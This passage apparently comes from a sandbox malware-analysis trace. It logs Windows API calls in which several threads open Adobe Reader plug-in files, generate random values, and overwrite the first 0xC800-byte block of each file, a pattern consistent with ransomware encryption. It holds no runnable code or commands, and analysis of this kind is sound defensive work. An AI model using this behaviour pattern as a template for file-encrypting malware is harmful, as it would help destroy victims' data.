	[0094.163] RtlRandom (in: Seed=0x2fc3f814 | out: Seed=0x2fc3f814) returned 0x773b5de
	[0094.163] RtlRandom (in: Seed=0x2fc3f814 | out: Seed=0x2fc3f814) returned 0x252e6440
	[0094.171] SetFilePointerEx (in: hFile=0xf44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.171] ReadFile (in: hFile=0xf44, lpBuffer=0x47db828, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2fc3f7c0, lpOverlapped=0x0 | out: lpBuffer=0x47db828*, lpNumberOfBytesRead=0x2fc3f7c0*=0xc800, lpOverlapped=0x0) returned 1
	[0094.325] SetFilePointerEx (in: hFile=0xf44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.325] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfaf10
	[0094.325] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753368
	[0094.325] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88aa8
	[0094.325] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88aa8) returned 1
	[0094.325] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4902040
	[0094.326] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88878
	[0094.326] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88aa8
	[0094.326] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88aa8) returned 1
	[0094.326] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753368) returned 1
	[0094.326] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaf10) returned 1
	[0094.327] WriteFile (hFile=0xf44, lpBuffer=0x4902040, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2fc3f7c0, lpOverlapped=0x0) 

Thread:
	id = 1399
	os_tid = 0x21fc

	[0094.082] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SendMail.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\sendmail.api")) returned 0x20
	[0094.082] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SendMail.api", dwFileAttributes=0x20) returned 1
	[0094.082] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SendMail.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\sendmail.api"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf40
	[0094.082] GetFileSizeEx (in: hFile=0xf40, lpFileSize=0x2fcbfacc | out: lpFileSize=0x2fcbfacc*=1906275) returned 1
	[0094.082] SetFilePointerEx (in: hFile=0xf40, liDistanceToMove=0x1d165f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.082] ReadFile (in: hFile=0xf40, lpBuffer=0x2fcbfa50, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2fcbfa4c, lpOverlapped=0x0 | out: lpBuffer=0x2fcbfa50*, lpNumberOfBytesRead=0x2fcbfa4c*=0x4, lpOverlapped=0x0) returned 1
	[0094.173] SetFilePointerEx (in: hFile=0xf40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.173] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d772b8
	[0094.173] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77448
	[0094.173] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0094.173] NtQuerySystemTime (in: CurrentTime=0x2fcbfa2c | out: CurrentTime=0x2fcbfa2c*=132251868209177791) returned 0x0
	[0094.174] RtlRandom (in: Seed=0x2fcbfa38 | out: Seed=0x2fcbfa38) returned 0x5640fc80
	[0094.174] RtlRandom (in: Seed=0x2fcbfa38 | out: Seed=0x2fcbfa38) returned 0xc8094307
	[0094.174] RtlRandom (in: Seed=0x2fcbfa38 | out: Seed=0x2fcbfa38) returned 0x221cb476
	[0094.174] RtlRandom (in: Seed=0x2fcbfa38 | out: Seed=0x2fcbfa38) returned 0xb52e0b8a
	[0094.174] RtlRandom (in: Seed=0x2fcbfa38 | out: Seed=0x2fcbfa38) returned 0x4831f719
	[0094.174] RtlRandom (in: Seed=0x2fcbfa38 | out: Seed=0x2fcbfa38) returned 0xc01189a0
	[0094.174] RtlRandom (in: Seed=0x2fcbfa38 | out: Seed=0x2fcbfa38) returned 0xe6089b4d
	[0094.174] RtlRandom (in: Seed=0x2fcbfa38 | out: Seed=0x2fcbfa38) returned 0xcc482953
	[0094.174] RtlRandom (in: Seed=0x2fcbfa38 | out: Seed=0x2fcbfa38) returned 0xf0a07e0e
	[0094.174] RtlRandom (in: Seed=0x2fcbfa38 | out: Seed=0x2fcbfa38) returned 0xb04ad6d0
	[0094.174] RtlRandom (in: Seed=0x2fcbfa38 | out: Seed=0x2fcbfa38) returned 0x7fccc39e
	[0094.174] RtlRandom (in: Seed=0x2fcbfa38 | out: Seed=0x2fcbfa38) returned 0xf93c3937
	[0094.174] RtlRandom (in: Seed=0x2fcbfa38 | out: Seed=0x2fcbfa38) returned 0xef477432
	[0094.174] RtlRandom (in: Seed=0x2fcbfa38 | out: Seed=0x2fcbfa38) returned 0x3826aa43
	[0094.174] RtlRandom (in: Seed=0x2fcbfa38 | out: Seed=0x2fcbfa38) returned 0xceccba78
	[0094.174] RtlRandom (in: Seed=0x2fcbfa38 | out: Seed=0x2fcbfa38) returned 0x556fbb43
	[0094.174] RtlRandom (in: Seed=0x2fcbfa38 | out: Seed=0x2fcbfa38) returned 0x1c568b36
	[0094.174] RtlRandom (in: Seed=0x2fcbfa38 | out: Seed=0x2fcbfa38) returned 0x5902f000
	[0094.174] RtlRandom (in: Seed=0x2fcbfa38 | out: Seed=0x2fcbfa38) returned 0x7060bf97
	[0094.174] RtlRandom (in: Seed=0x2fcbfa38 | out: Seed=0x2fcbfa38) returned 0x70174650
	[0094.174] RtlRandom (in: Seed=0x2fcbfa38 | out: Seed=0x2fcbfa38) returned 0x19512ff6
	[0094.174] RtlRandom (in: Seed=0x2fcbfa38 | out: Seed=0x2fcbfa38) returned 0xb87af509
	[0094.174] RtlRandom (in: Seed=0x2fcbfa38 | out: Seed=0x2fcbfa38) returned 0x2ca13063
	[0094.174] RtlRandom (in: Seed=0x2fcbfa38 | out: Seed=0x2fcbfa38) returned 0xd9793466
	[0094.174] RtlRandom (in: Seed=0x2fcbfa38 | out: Seed=0x2fcbfa38) returned 0x26c6f38c
	[0094.174] RtlRandom (in: Seed=0x2fcbfa38 | out: Seed=0x2fcbfa38) returned 0xf71b736c
	[0094.174] RtlRandom (in: Seed=0x2fcbfa38 | out: Seed=0x2fcbfa38) returned 0xfb37de47
	[0094.174] RtlRandom (in: Seed=0x2fcbfa38 | out: Seed=0x2fcbfa38) returned 0x1f5c7762
	[0094.174] RtlRandom (in: Seed=0x2fcbfa38 | out: Seed=0x2fcbfa38) returned 0x4027fbe9
	[0094.174] RtlRandom (in: Seed=0x2fcbfa38 | out: Seed=0x2fcbfa38) returned 0xc08e742d
	[0094.174] RtlRandom (in: Seed=0x2fcbfa38 | out: Seed=0x2fcbfa38) returned 0x3b2761c6
	[0094.174] RtlRandom (in: Seed=0x2fcbfa38 | out: Seed=0x2fcbfa38) returned 0x9419db1a
	[0094.183] SetFilePointerEx (in: hFile=0xf40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.183] ReadFile (in: hFile=0xf40, lpBuffer=0x51218d8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2fcbf9e4, lpOverlapped=0x0 | out: lpBuffer=0x51218d8*, lpNumberOfBytesRead=0x2fcbf9e4*=0xc800, lpOverlapped=0x0) returned 1
	[0094.327] SetFilePointerEx (in: hFile=0xf40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.327] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfaf10
	[0094.327] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753368
	[0094.327] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88aa8
	[0094.327] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88aa8) returned 1
	[0094.328] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x490e848
	[0094.329] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d888a0
	[0094.329] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88aa8
	[0094.329] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88aa8) returned 1
	[0094.329] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753368) returned 1
	[0094.330] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaf10) returned 1
	[0094.330] WriteFile (hFile=0xf40, lpBuffer=0x490e848, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2fcbf9e4, lpOverlapped=0x0) 

Thread:
	id = 1400
	os_tid = 0x2200

	[0094.084] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Spelling.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\spelling.api")) returned 0x20
	[0094.084] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Spelling.api", dwFileAttributes=0x20) returned 1
	[0094.084] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Spelling.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\spelling.api"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf38
	[0094.084] GetFileSizeEx (in: hFile=0xf38, lpFileSize=0x2fd3fe40 | out: lpFileSize=0x2fd3fe40*=304227) returned 1
	[0094.084] SetFilePointerEx (in: hFile=0xf38, liDistanceToMove=0x4a45f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.085] ReadFile (in: hFile=0xf38, lpBuffer=0x2fd3fdc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2fd3fdc0, lpOverlapped=0x0 | out: lpBuffer=0x2fd3fdc4*, lpNumberOfBytesRead=0x2fd3fdc0*=0x4, lpOverlapped=0x0) returned 1
	[0094.148] SetFilePointerEx (in: hFile=0xf38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.148] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984e10
	[0094.148] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984e88
	[0094.148] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984f50
	[0094.149] NtQuerySystemTime (in: CurrentTime=0x2fd3fda0 | out: CurrentTime=0x2fd3fda0*=132251868208846783) returned 0x0
	[0094.149] RtlRandom (in: Seed=0x2fd3fdac | out: Seed=0x2fd3fdac) returned 0x8046f54
	[0094.149] RtlRandom (in: Seed=0x2fd3fdac | out: Seed=0x2fd3fdac) returned 0xdebb3c2
	[0094.149] RtlRandom (in: Seed=0x2fd3fdac | out: Seed=0x2fd3fdac) returned 0xb409a98f
	[0094.149] RtlRandom (in: Seed=0x2fd3fdac | out: Seed=0x2fd3fdac) returned 0xa190ceae
	[0094.149] RtlRandom (in: Seed=0x2fd3fdac | out: Seed=0x2fd3fdac) returned 0xa0ad8c82
	[0094.149] RtlRandom (in: Seed=0x2fd3fdac | out: Seed=0x2fd3fdac) returned 0x6803162
	[0094.149] RtlRandom (in: Seed=0x2fd3fdac | out: Seed=0x2fd3fdac) returned 0x5ba26245
	[0094.149] RtlRandom (in: Seed=0x2fd3fdac | out: Seed=0x2fd3fdac) returned 0x77d4fa72
	[0094.149] RtlRandom (in: Seed=0x2fd3fdac | out: Seed=0x2fd3fdac) returned 0x2a53128a
	[0094.149] RtlRandom (in: Seed=0x2fd3fdac | out: Seed=0x2fd3fdac) returned 0x9aa6ea63
	[0094.149] RtlRandom (in: Seed=0x2fd3fdac | out: Seed=0x2fd3fdac) returned 0x20d4ee56
	[0094.149] RtlRandom (in: Seed=0x2fd3fdac | out: Seed=0x2fd3fdac) returned 0xe13e0dac
	[0094.149] RtlRandom (in: Seed=0x2fd3fdac | out: Seed=0x2fd3fdac) returned 0x6cf4d5e1
	[0094.149] RtlRandom (in: Seed=0x2fd3fdac | out: Seed=0x2fd3fdac) returned 0xa55e3994
	[0094.149] RtlRandom (in: Seed=0x2fd3fdac | out: Seed=0x2fd3fdac) returned 0x93f8eed5
	[0094.149] RtlRandom (in: Seed=0x2fd3fdac | out: Seed=0x2fd3fdac) returned 0xc754088e
	[0094.149] RtlRandom (in: Seed=0x2fd3fdac | out: Seed=0x2fd3fdac) returned 0xce696cef
	[0094.149] RtlRandom (in: Seed=0x2fd3fdac | out: Seed=0x2fd3fdac) returned 0x4596f163
	[0094.149] RtlRandom (in: Seed=0x2fd3fdac | out: Seed=0x2fd3fdac) returned 0x33d93463
	[0094.149] RtlRandom (in: Seed=0x2fd3fdac | out: Seed=0x2fd3fdac) returned 0xbb6f7e67
	[0094.149] RtlRandom (in: Seed=0x2fd3fdac | out: Seed=0x2fd3fdac) returned 0xea6e44c4
	[0094.149] RtlRandom (in: Seed=0x2fd3fdac | out: Seed=0x2fd3fdac) returned 0xaa5be82c
	[0094.149] RtlRandom (in: Seed=0x2fd3fdac | out: Seed=0x2fd3fdac) returned 0xc6f6edd
	[0094.149] RtlRandom (in: Seed=0x2fd3fdac | out: Seed=0x2fd3fdac) returned 0xa5f45c34
	[0094.149] RtlRandom (in: Seed=0x2fd3fdac | out: Seed=0x2fd3fdac) returned 0x87ac9463
	[0094.149] RtlRandom (in: Seed=0x2fd3fdac | out: Seed=0x2fd3fdac) returned 0x86f9f14d
	[0094.149] RtlRandom (in: Seed=0x2fd3fdac | out: Seed=0x2fd3fdac) returned 0x46788433
	[0094.149] RtlRandom (in: Seed=0x2fd3fdac | out: Seed=0x2fd3fdac) returned 0xec76d3b1
	[0094.149] RtlRandom (in: Seed=0x2fd3fdac | out: Seed=0x2fd3fdac) returned 0x756abc10
	[0094.149] RtlRandom (in: Seed=0x2fd3fdac | out: Seed=0x2fd3fdac) returned 0x8d46ec31
	[0094.149] RtlRandom (in: Seed=0x2fd3fdac | out: Seed=0x2fd3fdac) returned 0x10bf7b85
	[0094.149] RtlRandom (in: Seed=0x2fd3fdac | out: Seed=0x2fd3fdac) returned 0x372a60d7
	[0094.161] SetFilePointerEx (in: hFile=0xf38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.161] ReadFile (in: hFile=0xf38, lpBuffer=0x47cf020, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2fd3fd58, lpOverlapped=0x0 | out: lpBuffer=0x47cf020*, lpNumberOfBytesRead=0x2fd3fd58*=0xc800, lpOverlapped=0x0) returned 1
	[0094.322] SetFilePointerEx (in: hFile=0xf38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.322] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfaf10
	[0094.322] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753368
	[0094.322] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88aa8
	[0094.322] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88aa8) returned 1
	[0094.323] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48f5838
	[0094.324] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88850
	[0094.324] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88aa8
	[0094.324] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88aa8) returned 1
	[0094.324] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753368) returned 1
	[0094.324] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaf10) returned 1
	[0094.324] WriteFile (hFile=0xf38, lpBuffer=0x48f5838, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2fd3fd58, lpOverlapped=0x0) 

Thread:
	id = 1401
	os_tid = 0x2204

	[0094.086] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\StorageConnectors.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\storageconnectors.api")) returned 0x20
	[0094.086] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\StorageConnectors.api", dwFileAttributes=0x20) returned 1
	[0094.086] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\StorageConnectors.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\storageconnectors.api"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf34
	[0094.087] GetFileSizeEx (in: hFile=0xf34, lpFileSize=0x2fdbf964 | out: lpFileSize=0x2fdbf964*=317027) returned 1
	[0094.087] SetFilePointerEx (in: hFile=0xf34, liDistanceToMove=0x4d65f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.087] ReadFile (in: hFile=0xf34, lpBuffer=0x2fdbf8e8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2fdbf8e4, lpOverlapped=0x0 | out: lpBuffer=0x2fdbf8e8*, lpNumberOfBytesRead=0x2fdbf8e4*=0x4, lpOverlapped=0x0) returned 1
	[0094.207] SetFilePointerEx (in: hFile=0xf34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.207] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731ce0
	[0094.207] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731d58
	[0094.207] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984e10
	[0094.207] NtQuerySystemTime (in: CurrentTime=0x2fdbf8c4 | out: CurrentTime=0x2fdbf8c4*=132251868209471269) returned 0x0
	[0094.207] RtlRandom (in: Seed=0x2fdbf8d0 | out: Seed=0x2fdbf8d0) returned 0x8833d48d
	[0094.207] RtlRandom (in: Seed=0x2fdbf8d0 | out: Seed=0x2fdbf8d0) returned 0xe4ad116e
	[0094.207] RtlRandom (in: Seed=0x2fdbf8d0 | out: Seed=0x2fdbf8d0) returned 0xfdf3c69e
	[0094.207] RtlRandom (in: Seed=0x2fdbf8d0 | out: Seed=0x2fdbf8d0) returned 0xe941ca94
	[0094.207] RtlRandom (in: Seed=0x2fdbf8d0 | out: Seed=0x2fdbf8d0) returned 0xed52ab1b
	[0094.207] RtlRandom (in: Seed=0x2fdbf8d0 | out: Seed=0x2fdbf8d0) returned 0x32749c04
	[0094.207] RtlRandom (in: Seed=0x2fdbf8d0 | out: Seed=0x2fdbf8d0) returned 0x204aa3b1
	[0094.207] RtlRandom (in: Seed=0x2fdbf8d0 | out: Seed=0x2fdbf8d0) returned 0x79e33d7a
	[0094.207] RtlRandom (in: Seed=0x2fdbf8d0 | out: Seed=0x2fdbf8d0) returned 0xb2c0bdc2
	[0094.207] RtlRandom (in: Seed=0x2fdbf8d0 | out: Seed=0x2fdbf8d0) returned 0xa43f20
	[0094.207] RtlRandom (in: Seed=0x2fdbf8d0 | out: Seed=0x2fdbf8d0) returned 0x4cbb729c
	[0094.207] RtlRandom (in: Seed=0x2fdbf8d0 | out: Seed=0x2fdbf8d0) returned 0x17fc9a0
	[0094.207] RtlRandom (in: Seed=0x2fdbf8d0 | out: Seed=0x2fdbf8d0) returned 0x51753ff6
	[0094.207] RtlRandom (in: Seed=0x2fdbf8d0 | out: Seed=0x2fdbf8d0) returned 0x1952cd72
	[0094.207] RtlRandom (in: Seed=0x2fdbf8d0 | out: Seed=0x2fdbf8d0) returned 0x4b069e62
	[0094.207] RtlRandom (in: Seed=0x2fdbf8d0 | out: Seed=0x2fdbf8d0) returned 0x149eeae1
	[0094.207] RtlRandom (in: Seed=0x2fdbf8d0 | out: Seed=0x2fdbf8d0) returned 0x807ec22d
	[0094.207] RtlRandom (in: Seed=0x2fdbf8d0 | out: Seed=0x2fdbf8d0) returned 0x451d16c1
	[0094.207] RtlRandom (in: Seed=0x2fdbf8d0 | out: Seed=0x2fdbf8d0) returned 0x9d974cf
	[0094.207] RtlRandom (in: Seed=0x2fdbf8d0 | out: Seed=0x2fdbf8d0) returned 0x9f721798
	[0094.207] RtlRandom (in: Seed=0x2fdbf8d0 | out: Seed=0x2fdbf8d0) returned 0xbbd61876
	[0094.208] RtlRandom (in: Seed=0x2fdbf8d0 | out: Seed=0x2fdbf8d0) returned 0xd530e11c
	[0094.208] RtlRandom (in: Seed=0x2fdbf8d0 | out: Seed=0x2fdbf8d0) returned 0xb74f8006
	[0094.208] RtlRandom (in: Seed=0x2fdbf8d0 | out: Seed=0x2fdbf8d0) returned 0x2f8daa7e
	[0094.208] RtlRandom (in: Seed=0x2fdbf8d0 | out: Seed=0x2fdbf8d0) returned 0xa47a83c3
	[0094.208] RtlRandom (in: Seed=0x2fdbf8d0 | out: Seed=0x2fdbf8d0) returned 0xdfdcb8
	[0094.208] RtlRandom (in: Seed=0x2fdbf8d0 | out: Seed=0x2fdbf8d0) returned 0xbd56ab03
	[0094.208] RtlRandom (in: Seed=0x2fdbf8d0 | out: Seed=0x2fdbf8d0) returned 0x5b0b8bcb
	[0094.208] RtlRandom (in: Seed=0x2fdbf8d0 | out: Seed=0x2fdbf8d0) returned 0x590f2f13
	[0094.208] RtlRandom (in: Seed=0x2fdbf8d0 | out: Seed=0x2fdbf8d0) returned 0xd43a7305
	[0094.208] RtlRandom (in: Seed=0x2fdbf8d0 | out: Seed=0x2fdbf8d0) returned 0x234def60
	[0094.208] RtlRandom (in: Seed=0x2fdbf8d0 | out: Seed=0x2fdbf8d0) returned 0xf70605be
	[0094.217] SetFilePointerEx (in: hFile=0xf34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.217] ReadFile (in: hFile=0xf34, lpBuffer=0x4fb3fd8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2fdbf87c, lpOverlapped=0x0 | out: lpBuffer=0x4fb3fd8*, lpNumberOfBytesRead=0x2fdbf87c*=0xc800, lpOverlapped=0x0) returned 1
	[0094.338] SetFilePointerEx (in: hFile=0xf34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.339] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfaf10
	[0094.339] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753368
	[0094.339] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88b20
	[0094.339] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88b20) returned 1
	[0094.339] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4946018
	[0094.340] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88b20
	[0094.340] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d886c0
	[0094.340] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d886c0) returned 1
	[0094.340] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753368) returned 1
	[0094.340] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaf10) returned 1
	[0094.340] WriteFile (hFile=0xf34, lpBuffer=0x4946018, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2fdbf87c, lpOverlapped=0x0) 

Thread:
	id = 1402
	os_tid = 0x2208

	[0094.366] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Updater.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\updater.api")) returned 0x20
	[0094.367] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Updater.api", dwFileAttributes=0x20) returned 1
	[0094.367] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Updater.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\updater.api"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf30
	[0094.367] GetFileSizeEx (in: hFile=0xf30, lpFileSize=0x2fe3f868 | out: lpFileSize=0x2fe3f868*=147555) returned 1
	[0094.367] SetFilePointerEx (in: hFile=0xf30, liDistanceToMove=0x2405f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.367] ReadFile (in: hFile=0xf30, lpBuffer=0x2fe3f7ec, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2fe3f7e8, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f7ec*, lpNumberOfBytesRead=0x2fe3f7e8*=0x4, lpOverlapped=0x0) returned 1
	[0094.369] SetFilePointerEx (in: hFile=0xf30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.369] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88dc8
	[0094.369] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88cb0
	[0094.369] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88c60
	[0094.369] NtQuerySystemTime (in: CurrentTime=0x2fe3f7c8 | out: CurrentTime=0x2fe3f7c8*=132251868211034710) returned 0x0
	[0094.369] RtlRandom (in: Seed=0x2fe3f7d4 | out: Seed=0x2fe3f7d4) returned 0x216880d5
	[0094.369] RtlRandom (in: Seed=0x2fe3f7d4 | out: Seed=0x2fe3f7d4) returned 0xf87ada16
	[0094.369] RtlRandom (in: Seed=0x2fe3f7d4 | out: Seed=0x2fe3f7d4) returned 0x54b25e8e
	[0094.369] RtlRandom (in: Seed=0x2fe3f7d4 | out: Seed=0x2fe3f7d4) returned 0x9cc861e7
	[0094.369] RtlRandom (in: Seed=0x2fe3f7d4 | out: Seed=0x2fe3f7d4) returned 0x9d945e65
	[0094.369] RtlRandom (in: Seed=0x2fe3f7d4 | out: Seed=0x2fe3f7d4) returned 0xfa30d163
	[0094.369] RtlRandom (in: Seed=0x2fe3f7d4 | out: Seed=0x2fe3f7d4) returned 0x59a3fb80
	[0094.369] RtlRandom (in: Seed=0x2fe3f7d4 | out: Seed=0x2fe3f7d4) returned 0x41fb753b
	[0094.369] RtlRandom (in: Seed=0x2fe3f7d4 | out: Seed=0x2fe3f7d4) returned 0x1f81c6f9
	[0094.370] RtlRandom (in: Seed=0x2fe3f7d4 | out: Seed=0x2fe3f7d4) returned 0xd568755d
	[0094.370] RtlRandom (in: Seed=0x2fe3f7d4 | out: Seed=0x2fe3f7d4) returned 0x26d3d55e
